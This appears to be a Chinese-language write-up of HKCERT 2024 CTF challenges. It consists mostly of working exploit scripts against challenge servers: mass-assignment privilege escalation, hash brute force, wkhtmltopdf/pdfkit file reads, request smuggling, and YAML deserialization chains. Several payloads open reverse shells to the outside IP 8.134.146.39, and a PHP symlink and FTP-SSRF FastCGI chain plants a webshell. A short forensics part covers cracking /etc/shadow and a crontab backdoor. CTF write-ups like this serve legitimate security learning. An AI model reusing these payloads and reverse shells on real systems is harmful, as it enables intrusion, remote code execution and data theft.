Web
新免費午餐
米斯蒂茲的迷你 CTF (1)
米斯蒂茲的迷你 CTF (2)
PDF 生成器(1)
PDF 生成器(2)
已知用火 (1)
已知用火 (2)
JSPyaml
奇美拉
Misc
自行取旗
B6ACP
My Lovely Cats
Forensics
One Way Room
APT攻擊在哪裡 (1)
控制台直接使用以下指令完成遊戲
score = 9999
endGame()
完成後在計分板中查看flag
從sql初始化裡面可以看出Flag1在一個提交記錄裡面
查看attempt的model,有一個查詢過濾器,因此用戶只能查詢到自己的查詢記錄,因此需要拿到userid為2的用戶密碼才能取得這個flag
用戶player的密碼只有6位元hex格式字符
views中註冊api相關程式碼如下:
from flask import Blueprint, request, jsonify
from flask.views import MethodView
import collectionsfrom app.views import pages
from app.views.api import users
from app.views.api import challenges
from app.views.api.admin import challenges as admin_challenges
from app.models.user import User
from app.models.challenge import Challenge
from app.models.attempt import Attempt
class GroupAPI(MethodView):
init_every_request = False
def __init__(self, model):
self.model = model
self.name_singular = self.model.__tablename__
self.name_plural = f'{self.model.__tablename__}s'
def get(self):
# the users are only able to list the entries related to them
items = self.model.query_view.all()
group = request.args.get('group')
if group is not None and not group.startswith('_') and group in dir(self.model):
grouped_items = collections.defaultdict(list)
for item in items:
id = str(item.__getattribute__(group))
grouped_items[id].append(item.marshal())
return jsonify({self.name_plural: grouped_items}), 200
return jsonify({self.name_plural: [item.marshal() for item in items]}), 200
def register_api(app, model, name):
group = GroupAPI.as_view(f'{name}_group', model)
app.add_url_rule(f'/api/{name}/', view_func=group)
def init_app(app):
# Views
app.register_blueprint(pages.route, url_prefix='/')
# API
app.register_blueprint(users.route, url_prefix='/api/users')
app.register_blueprint(challenges.route, url_prefix='/api/challenges')
app.register_blueprint(admin_challenges.route, url_prefix='/api/admin/challenges')
register_api(app, User, 'users')
register_api(app, Challenge, 'challenges')
register_api(app, Attempt, 'attempts')
文件中定義了可以透過存取/api/{name}/
的格式來取得指定model的數據,且group可以指定一個欄位名稱作為傳回內容的鍵名,因此可以額外取得到model預設返回值之外的字段,透過/api/users/?group=password可以獲得密碼:
發現並不是sql中設定的密碼格式,在user的model中可以找到原因,它創建了一個監聽器,每次進行密碼的修改就會透過compute_hash來處理
@event.listens_for(User.password, 'set', retval=True)
def hash_user_password(target, value, oldvalue, initiator):
if value != oldvalue:
return compute_hash(value)
return value
compute_hash函數如下
def compute_hash(password, salt=None):
if salt is None:
salt = os.urandom(4).hex()
return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
因此我們透過api拿到的密碼是salt和sha256,使用以下腳本進行hash碰撞以獲得密碼
import hashlib
import itertoolschars = '0123456789abcdef'
combinations = [''.join(combo) for combo in itertools.product(chars, repeat=6)]
for password in combinations:
if '744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94' == hashlib.sha256(f'77364c85/{password}'.encode()).hexdigest():
print(password)
# 7df71e
使用密碼7df71e成功登入player用戶,造訪api/attempts/?group=flag 取得flag
和上面的使用同樣的環境,從sql中可以看出Flag2在id為1337的題目描述中,但是從api接口中查詢不到這個題目的信息,從代碼中找到原因,只要是通過query_view來進行查詢的只能查詢到當前時間之前的記錄,而sql中定義了1337的題目時間是當前時間之後的,因此查不到
找到位於admin的api裡面,沒有使用過濾器直接查詢的接口
因此需要登入admin用戶才能拿到Flag2,在註冊處直接使用了user的model來接收參數進行註冊
在model中定義了以下字段
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String, nullable=False)
is_admin = db.Column(db.Boolean, default=False)
password = db.Column(db.String, nullable=False)
score = db.Column(db.Integer, default=0)
last_solved_at = db.Column(db.DateTime)
因此註冊時使用傳入is_admin為True即可註冊管理員用戶
註冊後在/api/admin/challenges/拿到flag
主要程式碼如下:
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
html_file = f"{session_id}.html"
pdf_file = f"{session_id}.pdf" # Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
with open(html_file, 'w') as file:
file.write(response.text)
# Make PDF
stdout, stderr, returncode = execute_command(f'wkhtmltopdf {html_file} {pdf_file}')
if returncode != 0:
return f"""
<h1>Error</h1>
<pre>{stdout}</pre>
<pre>{stderr}</pre>
"""
return redirect(pdf_file)
疑似指令注入,跟進execute_command
def execute_command(command):
"""
Execute an external OS program securely with the provided command. Args:
command (str): The command to execute.
Returns:
tuple: (stdout, stderr, return_code)
"""
# Split the command into arguments safely
args = shlex.split(command) try:
# Execute the command and capture the output
result = subprocess.run(
args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
check=True # Raises CalledProcessError for non-zero exit codes
)
return result.stdout, result.stderr, result.returncode
except subprocess.CalledProcessError as e:
# Return the error output and return code if command fails
return e.stdout, e.stderr, e.returncode
指令被分割了,並不會造成注入,但是wkhtmltopdf存在任意檔案讀取漏洞,需要使用--enable-local-file-access參數,因此進行參數注入即可,先將html放在伺服器,再打poc
<html>
<iframe src="file:///flag.txt">
</html>
url = "https://c52a-webpage-to-pdf-1-t519-r36jghu3qed6ru6azopujzln.hkcert24.pwnable.hk/"def exp():
print(requests.post(url + "process",data={"url": "http://8.134.146.39:801/"}, cookies={"session_id": "123"}, allow_redirects=False).text)
print(requests.post(url + "process",data={"url": "http://8.134.146.39:801/"}, cookies={"session_id": "--enable-local-file-access 123.html '"}, allow_redirects=False).text)
exp()
然後瀏覽器訪問.html --enable-local-file-access 123.html .pdf
拿到flag
跟上面差不多關鍵程式碼改成如下:
@app.route('/process', methods=['POST'])
def process_url():
# Get the session ID of the user
session_id = request.cookies.get('session_id')
pdf_file = f"{session_id}.pdf" # Get the URL from the form
url = request.form['url']
# Download the webpage
response = requests.get(url)
response.raise_for_status()
# Make PDF
pdfkit.from_string(response.text, pdf_file)
return redirect(pdf_file)
換成pdfkit來處理了,跟進這個from_string函數,發現html內容可以控制pdfkit的選項
def _find_options_in_meta(self, content):
"""Reads 'content' and extracts options encoded in HTML meta tags :param content: str or file-like object - contains HTML to parse
returns:
dict: {config option: value}
"""
if (isinstance(content, io.IOBase)
or content.__class__.__name__ == 'StreamReaderWriter'):
content = content.read() found = {}
for x in re.findall('<meta [^>]*>', content):
if re.search('name=["\']%s' % self.configuration.meta_tag_prefix, x):
name = re.findall('name=["\']%s([^"\']*)' %
self.configuration.meta_tag_prefix, x)[0]
found[name] = re.findall('content=["\']([^"\']*)', x)[0]
return found
換成以下html放在伺服器上
<html>
<meta name="pdfkit---enable-local-file-access" content="">
<iframe src="file:///flag.txt">
</html>
然後直接提交html的url就能拿到flag
C寫的httpserver,程式碼量不大:
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>#define PORT 8000
#define BUFFER_SIZE 1024
typedef struct {
char *content;
int size;
} FileWithSize;
bool ends_with(char *text, char *suffix) {
int text_length = strlen(text);
int suffix_length = strlen(suffix);
return text_length >= suffix_length && \
strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
FileWithSize *read_file(char *filename) {
if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;
char real_path[BUFFER_SIZE];
snprintf(real_path, sizeof(real_path), "public/%s", filename);
FILE *fd = fopen(real_path, "r");
if (!fd) return NULL;
fseek(fd, 0, SEEK_END);
long filesize = ftell(fd);
fseek(fd, 0, SEEK_SET);
char *content = malloc(filesize + 1);
if (!content) return NULL;
fread(content, 1, filesize, fd);
content[filesize] = '\0';
fclose(fd);
FileWithSize *file = malloc(sizeof(FileWithSize));
file->content = content;
file->size = filesize;
return file;
}
void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
char *response_body_fmt =
"HTTP/1.1 %u %s\r\n"
"Server: mystiz-web/1.0.0\r\n"
"Content-Type: text/html\r\n"
"Connection: %s\r\n"
"Content-Length: %u\r\n"
"\r\n";
char response_body[BUFFER_SIZE];
sprintf(response_body,
response_body_fmt,
status_code,
status_description,
status_code == 200 ? "keep-alive" : "close",
file->size);
write(socket_id, response_body, strlen(response_body));
write(socket_id, file->content, file->size);
free(file->content);
free(file);
return;
}
void handle_client(int socket_id) {
char buffer[BUFFER_SIZE];
char requested_filename[BUFFER_SIZE];
while (1) {
memset(buffer, 0, sizeof(buffer));
memset(requested_filename, 0, sizeof(requested_filename));
if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;
if (sscanf(buffer, "GET /%s", requested_filename) != 1)
return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));
FileWithSize *file = read_file(requested_filename);
if (!file)
return build_response(socket_id, 404, "Not Found", read_file("404.html"));
build_response(socket_id, 200, "OK", file);
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int socket_id = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(PORT);
if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
if (listen(socket_id, 5) < 0) exit(1);
while (1) {
int client_address_len;
int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
if (new_socket_id < 0) exit(1);
int pid = fork();
if (pid == 0) {
handle_client(new_socket_id);
close(new_socket_id);
}
}
}
第一感覺就是要打任意文件讀取,但是限制了只能讀取白名單後綴的文件。而程式碼中變量都使用了BUFFER_SIZE設定的緩衝區大小,但是在read_file函數中,在路徑的前面加入了public/,因此如果原本我們輸入的路徑已經接近BUFFER_SIZE的緩衝區大小限制,則會造成路徑最後的字串遺失,利用這一點繞過白名單限制並讀取flag
import socket
import sslhost = "c02a-custom-server-1-1.hkcert24.pwnable.hk"
port = 1337
sock = socket.create_connection((host, port))
print("connected")
context = ssl.create_default_context()
ssl_sock = context.wrap_socket(sock, server_hostname=host)
path = "/../../../../../../../flag.txt.js"
c = 1024 - len(path) - 5
path_payload = "/" * c + path
payload = f'''GET /{path_payload} HTTP/1.1
'''.replace("\n","\r\n").encode()
ssl_sock.sendall(payload)
print("sended")
print(ssl_sock.recv(1024).decode())
print(ssl_sock.recv(1024).decode())
程式碼一樣,但是中間用了nginx來做反向代理,如果我們在路徑輸入../則會被nginx直接返回400,因此要打請求走私,後端伺服器每次只讀取1024作為一個請求,但是nginx可以接收比它大很多的請求,exp如下,需要競爭請求結果。
import socket
import ssl
import threading
import time
import urllib.parsedef test():
c1 = 0
while True:
host = "c02b-custom-server-2-2.hkcert24.pwnable.hk"
port = 1337
sock = socket.create_connection((host, port))
context = ssl.create_default_context()
s = context.wrap_socket(sock, server_hostname=host)
path = "/../../../../../../../../../../../flag.txt.js"
c = 1024 - len(path) - 5
path_payload = "/" * c + path
path_payload = b'GET /'+path_payload.encode()
payload = f'''GET /index.html HTTP/1.1
Host: 123
Content-Length: {944 + len(path_payload) + 1024}'''
.replace("\n", "\r\n").encode()
payload += b'a' * 944
s.sendall(payload + path_payload + path_payload + b'\r\n\r\nGET /000.html HTTP/1.0\r\nHost: 123\r\n\r\n' + payload + path_payload + path_payload)
s11 = ""
for i in range(10):
s11 += s.recv(10240).decode()
if 'hkcert24' in s11:
print(s11)
c1 += 1
print("\r" + str(c1) , end="")
threading.Thread(target=test).start()
test()
關鍵程式碼如下:
app.post('/debug', (req, res) => {
if(ip.isLoopback(req.ip) && req.cookies.debug === 'on'){
const yaml = require('js-yaml');
let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
try{
let input = req.body.yaml;
console.log(`Input: ${input}`);
let output = yaml.load(input, {schema});
console.log(`Output: ${output}`);
res.json(output);
}catch(e){
res.status(400).send('Error');
}
}else{
res.status(401).send('Unauthorized');
}
});
需要使用bot去請求,bot只接受一個url並訪問,因此需要打XSS,前端程式碼如下
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>YAML Parser</title>
<script src="https://cdn.jsdelivr.net/pyodide/v0.26.2/full/pyodide.js"></script>
<style>
body {
font-family: Arial, sans-serif;
margin: 50px;
}
textarea {
width: 100%;
height: 200px;
}
pre {
background-color: #cccccc;
padding: 20px;
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>YAML Parser</h1>
<textarea id="yaml" placeholder="- YAML"></textarea><br>
<button id="parse">Parse</button>
<h2>Output:</h2>
<pre id="output"></pre> <script>
let pyodide;
async function init(){
pyodide = await loadPyodide();
await pyodide.loadPackage("pyyaml");
runHash();
}
async function run(y){
x = `+'`'+`import yaml
yaml.load("""`+`$`+`{y.replaceAll('"','')}""",yaml.Loader)`+'`'+`;
try {
output.textContent = await pyodide.runPythonAsync(x);
} catch (e) {
output.textContent = e;
}
}
async function runHash() {
const hash = decodeURIComponent(window.location.hash.substring(1));
if (hash) {
yaml.value = hash;
run(hash);
}
}
parse.addEventListener("click", async () => {run(yaml.value)});
onhashchange = runHash;
onload = init;
</script>
</body>
</html>
使用了pyodide來在瀏覽器內運行python程式碼,並且使用pyyaml來解析yaml,但是解析結果被設定成textContent,並不會觸發xss。想法是利用pyyaml反序列化漏洞執行python程式碼,並且調用js模組執行js程式碼來完成xss。以下poc產生一個可以進行XSS的url,提交給bot即可完成api的訪問
payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `xxx`);
fetch('/debug', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: data.toString()
})
.then(response => response.json())
.then(data => console.log('成功:', data))
.catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''
payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"
print(payload)
繼續審計/debug的api程式碼,在js-yaml-js-types函式庫中,定義了function標籤,用於在yaml中產生一個方法,但是並不能直接執行此方法,因為內部調用的是new Function來完成
但在題目程式碼中,將yaml解析的結果
const yaml = require('js-yaml');
let schema = yaml.DEFAULT_SCHEMA.extend(require('js-yaml-js-types').all);
try{
let input = req.body.yaml;
console.log(`Input: ${input}`);
let output = yaml.load(input, {schema});
console.log(`Output: ${output}`);
res.json(output);
}catch(e){
res.status(400).send('Error');
}
這樣的操作會觸發對象的toString方法,因此只需要給yaml的toString鍵設定一個Function作為值,即可在拼接中觸發方法,如下:
"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'
由於沒有上下文,無法直接使用require導入child_process,需要走global.process.mainModule來導入。最終payload
import base64url = "https://c62-jspyaml-t519-hev2ottoirslajxbb32csyeq.hkcert24.pwnable.hk/"
payload = '''
import pyodide
payload = """
document.cookie = "debug=on; path=/;";
const data = new URLSearchParams();
data.append('yaml', `"toString": !<tag:yaml.org,2002:js/function> 'function (){global.process.mainModule.constructor._load("child_process").spawnSync("bash",["-c","bash -i >& /dev/tcp/8.134.146.39/1244 0>&1"],{ encoding: "utf-8"})}'`);fetch('/debug', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include',
body: data.toString()
})
.then(response => response.json())
.then(data => console.log('成功:', data))
.catch(error => console.error('请求出错:', error));
"""
pyodide.code.run_js(payload)
'''
payload = f"http://127.0.0.1:3000/#!!python/object/apply:exec [exec(__import__('base64').b64decode('{base64.b64encode(payload.encode()).decode()}').decode())]"
print(payload)
由於提交bot有個反人類的驗證,手動提交url即可。
lime.php
<?php
class CitrusWorkspace {
function __construct($root) {
if (!is_dir($root)) {
mkdir($root, 0755);
}
$this->root = $root;
} function create($filename, $symlink=0, $target="") {
$this->validate_filename($filename);
if ($symlink === 0) {
@file_put_contents($this->root.$filename, "");
}
else {
@symlink($target, $this->root.$filename);
try {
if (str_contains(@readlink($this->root.$filename), "/") || str_contains(@readlink($this->root.$filename), "..")) {
throw new Exception("Trying to hack?");
}
}
catch (Exception $e) {
@unlink($this->root.$filename);
throw $e;
}
}
}
function read($filename) {
$this->validate_filename($filename);
sleep(5);
chdir($this->root);
$buf = @file_get_contents($this->resolve_symlink($filename));
return $buf;
}
function write($filename, $data) {
$this->validate_filename($filename);
sleep(5);
chdir($this->root);
@file_put_contents($this->resolve_symlink($filename), $data);
}
function delete($filename) {
$this->validate_filename($filename);
$this->assert_file_exists($this->root.$filename);
@unlink($this->root.$filename);
}
function list() {
$res = array();
$ls = array_diff(scandir($this->root), array("..", "."));
foreach($ls as $k => $v) {
if (is_link($this->root.$v)) {
$res[$v] = "Symlink to ".@readlink($this->root.$v);
}
else
$res[$v] = "File";
}
return $res;
}
function validate_filename($filename) {
if (preg_match('/[^a-z0-9]/i', $filename)) {
throw new Exception("Filename only contain alphanumerics.");
}
}
function assert_file_exists($filename) {
if (file_exists($filename) === false && is_link($filename) === false) {
throw new Exception("File not found.");
}
}
function resolve_symlink($filename) {
if (is_link($filename)) {
return @readlink($filename);
}
return $filename;
}
}
?>
citrus.php
<?php
session_start();
require_once("lime.php");$dirname= md5(session_id());
$workspace = new CitrusWorkspace("/tmp/$dirname/");
$mode = !empty($_POST["mode"]) ? $_POST["mode"] : null;
$filename = !empty($_POST["filename"]) ? $_POST["filename"] : null;
$error = null;
try {
if (($_SERVER["REQUEST_METHOD"] === "POST") && ($mode === null || $filename === null)) {
throw new Exception("mode or filename cannot be empty.");
}
switch($mode) {
case "create":
$symlink = isset($_POST["symlink"]) ? 1 : 0;
$target = !empty($_POST["target"]) ? $_POST["target"] : null;
$workspace->create($filename, $symlink, $target);
break;
case "read":
$contents = $workspace->read($filename);
break;
case "write":
$data = !empty($_POST["data"]) ? $_POST["data"] : "";
$workspace->write($filename, $data);
break;
case "delete":
$workspace->delete($filename);
break;
}
} catch(Exception $e) {
$error = $e->getMessage();
}
$ls = $workspace->list();
?>
思路是透過創建鏈接生成的鏈接再創建鏈接,這樣就檢測不到有惡意的鏈接目標,寫入文件時通過兩層鏈接仍任可以正常讀寫文件,因此先得出以下poc
url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
sess.post(url, data={"mode": "write", "filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
sess.post(url, data={"mode": "create", "symlink": "1", "target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})def read(filename):
return sess.post(url, data={"mode": "read", "filename": filename }, cookies={"PHPSESSID": PHPID})
def write_anyfile(file, content):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
write(rand2, content)
def read_any_file(file):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
res = read(rand2).text
return res.split('<p class="card-text">')[1].split('</div>')[0]
但在web目錄下沒有寫入權限,而/flag則沒有讀取權限,打filter的cnext也沒成功,因此啟動了一個題目用的webdevops/php-apache:8.0鏡像,發現使用的是fpm的tcp模式,直接打ftp被動模式over ssrf打fpm即可,在伺服器上啟動ftp腳本,網絡上有現成
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 333))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
再使用以下exp完成攻擊
import base64
import random
import threadingimport requests
url = "https://c25-chimera-t519-pji6ue6qjfb5c45we2ja6z57.hkcert24.pwnable.hk/citrus.php%3fsss.php"
# url = "http://8.134.146.39:8080/citrus.php"
sess = requests.session()
PHPID = "123"
t = threading.BoundedSemaphore(10)
def write(file, content):
sess.post(url, data={"mode": "write", "filename": file, "data": content}, cookies={"PHPSESSID": PHPID})
def create(target, filename):
sess.post(url, data={"mode": "create", "symlink": "1", "target": target, "filename": filename, }, cookies={"PHPSESSID": PHPID})
def read(filename):
return sess.post(url, data={"mode": "read", "filename": filename }, cookies={"PHPSESSID": PHPID})
def write_anyfile(file, content):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
write(rand2, content)
def read_any_file(file):
rand1 = str(random.randint(99999,999999999))
rand2 = str(random.randint(99999,999999999))
create(rand2, rand1)
create(file, rand1)
res = read(rand2).text
return res.split('<p class="card-text">')[1].split('</div>')[0]
write_anyfile("/tmp/a.php", "<?php system('bash -c \"bash -i >&/dev/tcp/8.134.146.39/7788 0>&1\"'); ?>")
write_anyfile("ftp://8.134.146.39:333/a.php", base64.b64decode("AQHEAQAIAAAAAQAAAAAAAAEExAEBswAADgFDT05URU5UX0xFTkdUSDAMEENPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3RleHQLBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX05BTUVsb2NhbGhvc3QRC0dBVEVXQVlfSU5URVJGQUNFRmFzdENHSS8xLjAPDlNFUlZFUl9TT0ZUV0FSRXBocC9mY2dpY2xpZW50CwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8KU0NSSVBUX0ZJTEVOQU1FL3RtcC9hLnBocAsKU0NSSVBUX05BTUUvdG1wL2EucGhwCR9QSFBfVkFMVUVhdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DgRSRVFVRVNUX01FVEhPRFBPU1QLAlNFUlZFUl9QT1JUODAPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDABRVUVSWV9TVFJJTkcPFlBIUF9BRE1JTl9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24NAURPQ1VNRU5UX1JPT1QvCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsKUkVRVUVTVF9VUkkvdG1wL2EucGhwAQTEAQAAAAABBcQBAAAAAA=="))
題目如下:
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfileFLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"
print("Encode your Go program in base64")
code = input(">> ")
with tempfile.TemporaryDirectory() as td:
fn = token_hex(16)
src = os.path.join(td, f"{fn}")
with open(src+".go", "w") as f:
f.write(b64decode(code).decode())
p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
if p.returncode != 0:
print(r"Fail to build ¯\_(ツ)_/¯")
sys.exit(1)
_ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if _.returncode == 0:
print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
sys.exit(1)
if b"panic" in _.stderr:
print("I am calm...")
sys.exit(1)
print(f"You are an experienced Go developer, here's your flag: {FLAG}")
sys.exit(1)
可以運行任意go文件,直接覆蓋base64.py進行RCE
package mainimport (
"os"
)
func main() {
payload := `import os
code = input("111> ")
print(os.popen(code).read())
`
os.WriteFile("base64.py", []byte(payload), 0777)
}
base64編碼後傳入即可,再次連線時輸入env獲得flag。
首先透過抓包發現一個開源的searchor
項目
搜尋searchor
的歷史漏洞,找到以下項目,但是直接使用的話是無效的,要修改項目裡面的一些參數
Searchor <= 2.4.2 (2.4.0) 的 POC 漏洞(任一 CMD 注入)
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
原始碼
修改之後
首先我們修改了監聽的連接端口為2333,然後透過抓包抓取的資料對網頁的路徑進行了修改,並且把參數修改為抓包抓到的參數
使用指令:./exploit.sh 題目給出的網址 主機IP 端口
然後在home目錄下找到flag
首先打開附件得出了一張圖片和一個mov運行程序,程序運行直接生成了兩個txt文檔
回顯程式成功執行,然後我們去檢查圖片,發現圖片正常,沒有隱寫東西在裡面,然後根據題目描述:flag就在mov
程式中,我們去分析程式放入010發現這塊有base編碼特徵,正常拿去解碼發現不成功,然後我們把base編碼逆序。
解碼出以下內容
有一個網址,我們去訪問網址發現了被註解的flag
UUID of /dev/sda1:b2bc2958-9c47-495a-8bab-3bae83cf9ca4
打開火眼取證工具查看log記錄,然後在/var/log/kern.log下發現root的uuid,發現提交正確
kern.log:內核產⽣的⽇志
Backdoor URL:https://t.ly/backdoor.sh
首先先去查看主機內的php和asp、jsp文件發現裡面都沒有木馬執行指令,接著去看看定時Linux中Crontab(定時任務)在目錄下發現了一個後門.sh,提交正確
Password for user very-secure:nokiasummer1990
直接去查看/etc/shadow下存放用戶和密碼的文件,然後使用john進行爆破,得出密碼
Deleted file flag:flag{th3_fi13_sh411_b3_d313t3d}
在用戶very-secure下的回收站目錄發現已刪除的flag文件
IP of login attempt:192.166.246.54
直接在火眼取證的登陸失敗日誌發現ip
根據文件給予的路徑尋找即可
/forensic/ntfs/1/Users/night01/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/